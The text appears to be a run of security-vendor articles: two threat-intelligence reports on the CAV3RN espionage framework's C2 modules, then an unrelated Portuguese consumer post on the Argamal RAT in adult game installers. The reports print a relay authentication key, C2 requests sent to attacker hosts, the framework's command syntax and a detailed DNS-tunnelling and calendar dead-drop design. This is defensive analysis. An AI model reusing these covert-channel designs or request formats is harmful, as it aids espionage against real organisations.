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Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

The module supports five internal commands:

Command	Functionality
s_version	Returns the DLL-version inventory described above. The command is executed automatically at startup.
s_config	Returns the active configuration and, when provided with a JSON configuration object, replaces it in memory.
s_enLog	Enables diagnostic logging at the Debug level.
s_deLog	Disables diagnostic logging and sets the logging level to Fatal.
s_write	Base64-decodes and GZip-decompresses provided data before writing it to the specified file path.

The module reads conf.json from the process’s current working directory. If it is missing, the module generates a seven-character client identifier and writes its embedded defaults to disk.

{
  "to": "<generated seven-character ID>", // Client ID
  "ad": "https://api.studiotikva.com/api/v1/update/check", // Direct C2 URL
  "ho": "studiotikva.com", // DNS domain
  "gi": "<redacted>", // Apps Script deployment ID
  "de": false, // Enable Debug logging at startup
  "mi": 120000, // Poll-delay reset after a non-empty response
  "ma": 18000000, // Progressive poll-delay cap
  "ri": 30000, // Base DNS recovery/error delay, with positive jitter
  "ga": "s3criitC0d3/8-)B-,)", // Apps Script relay authentication key
  "gu": "https://script.google.com/macros/s/{0}/exec",
  "ua": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31",
  "mcc": 50, // unknown
  "mtc": 10 // unknown
}

The s_config command can replace these settings in memory but does not update the file. DNS recovery is the exception: a recovered Apps Script deployment ID is written back to conf.json.

Before polling for commands or sending a result, the module performs a DNS A-record query to select Direct HTTPS or Google Apps Script:

<random nonce><error state>.<hex-encoded client ID>.m.studiotikva.com

The first label combines a three- or four-character uppercase alphanumeric nonce with the current error state: 0 for None, 1 for GIDFailed, 2 for GoogleFailed, and 3 for DirectFailed. Each new transaction starts in state 0.

The exact response 12.19.29[.]30 is treated as a rejection. Other responses are interpreted according to their fourth octet:

Fourth octet	None (0)	GIDFailed (1)	GoogleFailed (2)	DirectFailed (3)
120 (0x78)	Google Apps Script	Direct HTTPS	Direct HTTPS	Google Apps Script
130 (0x82)	Direct HTTPS	Direct HTTPS	Direct HTTPS	Close the transaction (no channel)
140 (0x8C)	Exception	Exception	Exception	Exception
All other values	Google Apps Script	Google Apps Script	Google Apps Script	Google Apps Script

During analysis, valid .m queries returned 12.121.234[.]120, while malformed queries returned 12.19.29[.]30. For example, YCZ2.41414141303030.m.studiotikva[.]com carries state 2, so the final octet 120 selects Direct HTTPS.

When Google mode is selected, the module calculates the MD5 digest of its stored deployment ID and compares its first four bytes with the A record returned by <random5>.<hex-ID>.q.studiotikva[.]com. A mismatch causes the module to retrieve a replacement through .p queries: <random5>.<hex-ID>.p.studiotikva[.]com.

The offset-0 response contains a one-byte length followed by the first three ID bytes. Each subsequent response contributes four bytes. The observed response 74.65.75.102 represents 4A 41 4B 66: a length of 74 followed by AKf. The DLL stops after collecting the declared length and discards the final padding byte rather than requesting offset 76.

One initial response and 18 continuation responses produced a 74-character deployment ID, shown redacted as AKfycby46v0DPSEKWYa****dvQ. The .q response 247.188.216[.]122 contains the bytes f7 bc d8 7a, matching the first four MD5 bytes of the recovered value. This is a 32-bit freshness check.

Google Apps Script channel

When DNS selects Google mode, the module inserts the deployment ID into https://script.google[.]com/macros/s/{deployment-ID}/exec.

Direct GET requests return a decoy page titled My App with the message This application is running normally. C2 polling instead uses an outer POST to Apps Script whose "m":"GET" field instructs the relay to issue a GET request to its upstream server:

POST /macros/s/AKfycbw2Wo4nYIQ*************UxSvjunDmNpeA/exec HTTP/1.1
Host: script.google.com
Content-Type: application/json

{"k":"s3criitC0d3/8-)B-,)","m":"GET","h":{"X-Client-Id":"AAAA000","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31"},"b":null,"ct":null,"r":true}

The request returns a 302 redirect; a redirect-following client subsequently receives a 200 OK serving the response:

HTTP/2 302
content-type: text/html; charset=UTF-8
access-control-allow-origin: *
location: https://script.googleusercontent.com/macros/echo?user_content_key=AUkAhnT1XStTpObO…&lib=MQif1e23CL4IxZSlC7RWEgUDuxmmFKhYR
server: GSE

HTTP/2 200
content-type: application/json; charset=utf-8
access-control-allow-origin: *
server: GSE

{"s":200,"h":{"Content-Type":"text/html; charset=utf-8","Vary":"Cookie","Server":"nginx","Content Length":"4","Connection":"keep-alive","Date":"Mon, 03 Aug 2026 20:07:54 GMT","Access-Control-Allow-Origin":"*"},"b":"OS9FPQ=="}

Decoding b produces 9/E=; decoding it again produces f7 f1, which XORs with 0xAC to [], indicating an empty task list. An upstream timeout also exposed https://api.studiotikva[.]com/ac, confirming that the Apps Script deployment forwards requests to an actor-controlled backend.

Direct HTTPS channel

When DNS selects Direct HTTPS, the module contacts the configured ad address, https://api.studiotikva[.]com/api/v1/update/check, without using the relay. This occurs when the final octet is 130 (0x82) in the None, GIDFailed, or GoogleFailed states, or 120 (0x78) in the GIDFailed or GoogleFailed states. The endpoint expects the custom X-Client-Id header; requests without the expected header return {"res":"failed"} in its HTTP response.

However, a GET request carrying the correct X-Client-Id value receives a 76-byte body as shown in the following figure:

Base64-decoding the response body and XORing it with 0xAC produced the following broker-directed task packet: [{"type":"broker","cid":109,"payload":"002_;;__,_"}]. The broker type instructs the communication module to forward the task to the local broker.

Inter-component DLL broker

The inter-component broker, rnp.dll, is a 64-bit DLL compiled with Microsoft Visual C++. Its embedded PDB path is C:\Users\user\Desktop\Modules\broker-cavern\1.out\rnp.pdb. It masquerades as the RNP OpenPGP library through numerous rnp_* exports, while rnp_backend_string starts the broker.

The broker coordinates the framework’s DLL components. At startup, it creates the BROKER control structure, initializes its message dispatcher, and scans the host directory for DLLs. Components are grouped by CompanyName, and the highest-version candidate from each group is loaded if it exposes GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate.

The directory is rescanned every second, allowing a component to be added or upgraded without restarting the host. Updates require a higher-version DLL under a new path; replacing an existing file in place is not detected.

Loaded components exchange messages through the broker. It locates the requested destination and invokes that component’s callback. Unknown destinations return Err1::<destination>, while unavailable components return Err2::<destination>.

Command	Function
000	Lists loaded component names and versions
001	Lists every DLL path discovered by the scanner
002	Lists each loaded component’s path, name, and version

The 002_;;__,_ task recovered from the Direct HTTPS channel is forwarded by the communication module to this broker, which returns its component inventory. When unloading or replacing a component, the broker calls its IsPrimeNumber export and waits for its worker threads to stop before unloading the DLL.

Infrastructure

Historical records show that studiotikva[.]com was first registered in February 2024. Wayback Machine captures show Wix’s default disconnected-domain page, while passive DNS associated the domain with Wix infrastructure hosted in an Israeli data center. The domain expired in February 2026 and was subsequently re-registered. It may therefore have originally belonged to a legitimate Israeli business and been acquired by the threat actor only after its expiration; the available evidence does not indicate when ownership changed.

The domain was registered again on May 12, 2026, and redelegated on May 19 to ns1.studiotikva[.]com and ns2.studiotikva[.]com, resolving to 144.172.115[.]17 and 144.172.104[.]82. It later hosted a generic “Studio Tikva” website that provided locally plausible cover: “Tikva” (תקווה) means “hope” in Hebrew.

The infrastructure supported authoritative DNS and direct HTTPS C2. The Google Apps Script deployment acted as an application-layer relay; during an upstream timeout, it exposed https://api.studiotikva[.]com/ac, revealing the actor-controlled backend endpoint.

Domain	Registrar	IP	Hosting	ASN
studiotikva[.]com api.studiotikva[.]com ns1.studiotikva[.]com ns2.studiotikva[.]com	Dynadot Inc	144.172.115[.]17 144.172.104[.]82	RouterHosting LLC	AS 14956

Conclusions

Project CAV3RN continues to evolve, introducing increasingly sophisticated components and communication capabilities. By abusing legitimate services — previously Outlook calendar events and now Google Apps Script — the framework blends its C2 traffic with normal network activity, complicating network-based detection. Given its development pace, modular design, and operational tempo, we assess that CAV3RN will likely continue to expand. We will continue tracking the framework and reporting on its activity in the wild.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

904784c9943d019da332bea2cd03996f              CommunicationUxTheme.dll
f9156d42410c8a5429dec43329bd72e0              net.dll
2dcd4a8ac166404977cd3c48418a8cd9              rnp.dll
981c7404d31b8ce35ec88a6b290f354d              GoogleService.dll
34d50eec364d920b8b5d885c9bc98607             texture.dll

Domains and IPs

studiotikva[.]com
api.studiotikva[.]com
ns1.studiotikva[.]com
ns2.studiotikva[.]com
144.172.115[.]17
144.172.104[.]82

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Subject format	Purpose	Module behavior
Event ID: <agent-id>	Operator-to-agent command	Searches for the event, downloads its attachments, and deletes it after consumption
Boss update ID: <agent-id>1500	Agent heartbeat	Deletes the previous heartbeat event and creates a replacement
Boss Report ID: <agent-id>1500	Agent-to-operator command output	Creates an event, uploads encrypted result attachments, and assigns the final subject

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Attachment name	Direction	Associated subject
file0.txt	Operator to agent	Event ID: <agent-id>
File0.txt	Agent to operator	Boss Report ID: <agent-id>1500

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Index	Configuration value
0	TenantId
1	ClientId
2	ClientSecret
3	UserEmail

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Domain	IP	First seen	ASN	Hosting
ns1.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns2.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns3.cloudlanecdn[.]com	216.126.237[.]197 144.172.108[.]205	May 2, 2026	AS 14956	RouterHosting LLC
ns4.cloudlanecdn[.]com	144.172.108[.]205	May 21, 2026	AS 14956	RouterHosting LLC

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

Em abril de 2026, descobrimos uma nova campanha destinada a usuários de jogos hentai. Os invasores estão incorporando um cavalo de Troia de acesso remoto chamado Argamal nos instaladores do jogo. Enquanto oculta sua presença, ele pode controlar remotamente o computador e roubar arquivos e dados pessoais.

Veja como evitar ser vítima desse novo cavalo de Troia e como desfrutar de forma segura e anônima de conteúdo picante com (ou sem) garotas de anime.

Como os computadores são infectados com o Argamal

A maioria dos jogos infectados é distribuída em sites de jogos para adultos e de torrent. Em alguns casos, eles são postados para download em serviços de compartilhamento de arquivos e vinculados em sites de jogos.

Curiosamente, em vez de encontrar um arquivo fictício dentro do arquivo compactado, como costuma acontecer, o usuário recebe o jogo real, construído em engines populares como RenPy ou RPG Maker. As versões piratas infectadas geralmente acabam sendo fraudes: os jogos não são iniciados, as pastas estão cheias de arquivos com extensões bizarras, tornando bastante fácil deduzir do que se trata. Aqui, no entanto, o usuário obtém a jogabilidade real que esperava. Enquanto isso, o cavalo de Troia entra e mantém um perfil completamente discreto.

Junto com os arquivos legítimos no arquivo compactado, está uma DLL essencial para o funcionamento do jogo, mas ela foi adulterada: assim que o usuário inicia o jogo, a DLL infectada é carregada automaticamente na memória. Não há sinais externos de infecção: nem um instalador aparecendo em segundo plano, nem uma janela assustadora ou solicitação para que você desative o antivírus.

O Argamal age com muita cautela: em vez de se apressar imediatamente para roubar arquivos e senhas ou fazer uma bagunça digital em seu computador, o cavalo de Troia primeiro verifica se está sendo executado em uma máquina virtual ou sandbox e, em seguida, entra no modo de espera.

Durante esse período, o malware grava parâmetros ocultos no sistema, oculta os caminhos para suas DLLs e atrasa sua própria execução. Três dias depois, o computador se conecta ao GitHub, baixa um arquivo criptografado, o descriptografa e o transforma em um módulo de cavalo de Troia funcional.

Para garantir a persistência, os invasores registram o malware na tarefa do sistema WindowsColorSystem Calibration Loader, um recurso interno do Windows que é acionado a cada login do usuário para carregar perfis de cores do monitor. Antes de desligar, o malware exclui arquivos temporários e cobre seus rastros para dificultar ainda mais a detecção.

O que torna Argamal perigoso?

O Argamal é um Trojan de acesso remoto (RAT), o que significa que os invasores podem usá-lo para controlar remotamente o computador da vítima. Aqui está apenas uma pequena lista do que isso pode implicar:

• Executar comandos arbitrários no computador
• Baixar e executar arquivos
• Verificar se um antivírus está instalado no PC (a propósito, nossa solução de segurança detecta e neutraliza o Argamal antes que ele possa prejudicar você)
• Procurar e exfiltrar dados confidenciais de arquivos e configurações do sistema
• Fazer capturas de tela e transmitir vídeo do dispositivo
• Enviar dados ao servidor do invasor
• Monitorar a atividade do usuário
• Desligar ou reiniciar o dispositivo

Essencialmente, o computador infectado se transforma em uma máquina controlada remotamente. O proprietário pode continuar tranquilamente seu dia, sem saber que o dispositivo foi comprometido. No entanto, as consequências dessa infecção podem ser devastadoras.

Por exemplo, uma única senha roubada de uma nota de texto pode levar a várias contas comprometidas de uma só vez se a vítima reutilizar as mesmas credenciais em sites diferentes. É por isso que recomendamos armazenar senhas fortes e exclusivas no cofre criptografado de um gerenciador de senhas em vez de arquivos de texto simples.

Além de sequestrar contas, o cavalo de Troia permite que os invasores literalmente espionem o usuário, lendo seus bate-papos, vasculhando arquivos secretos, estudando suas preferências sexuais… Os cibercriminosos podem, então, usar essas informações altamente confidenciais para ataques subsequentes, chantagem e extorsão. Em uma postagem anterior, já falamos sobre o que fazer se você for alvo de chantagistas.

Outro cenário comum envolve roubar ou substituir em silêncio dados financeiros, por exemplo, interceptar credenciais de aplicativos bancários ou substituir endereços de carteiras de criptomoedas na área de transferência, o que envia todo o seu dinheiro direto para as contas dos invasores.

Em resumo, há uma lista completa de maneiras pelas quais os invasores podem explorar o dispositivo e os dados de uma vítima.

Argamal, yamete kudasai! Como se proteger de ameaças semelhantes

Se você decidiu se tornar o grande mestre do “Waifu Simulator Ultra Definitive Edition”, tome cuidado:

• Use um software de segurança que seja executado em tempo real e detecte malwares sofisticados. Apesar dos esforços dos invasores para tornar o cavalo de Troia invisível, o Kaspersky Premium instantaneamente detecta e remove o Argamal dos dispositivos dos usuários.
• Evite baixar aplicativos adultos, arquivos de instalação e conteúdo picante de fontes não confiáveis. Clicar em um “jogo XXX gratuito sem necessidade de inscrição” é uma maneira infalível de convidar um malware para o seu dispositivo. Dito isso, até mesmo plataformas oficiais como o Google Play e a App Store, infelizmente, permitem que aplicativos infectados entrem às vezes. Para não se preocupar mais com o download acidental de um cavalo de Troia ou de um infostealer, use o Premium em todos os seus dispositivos.
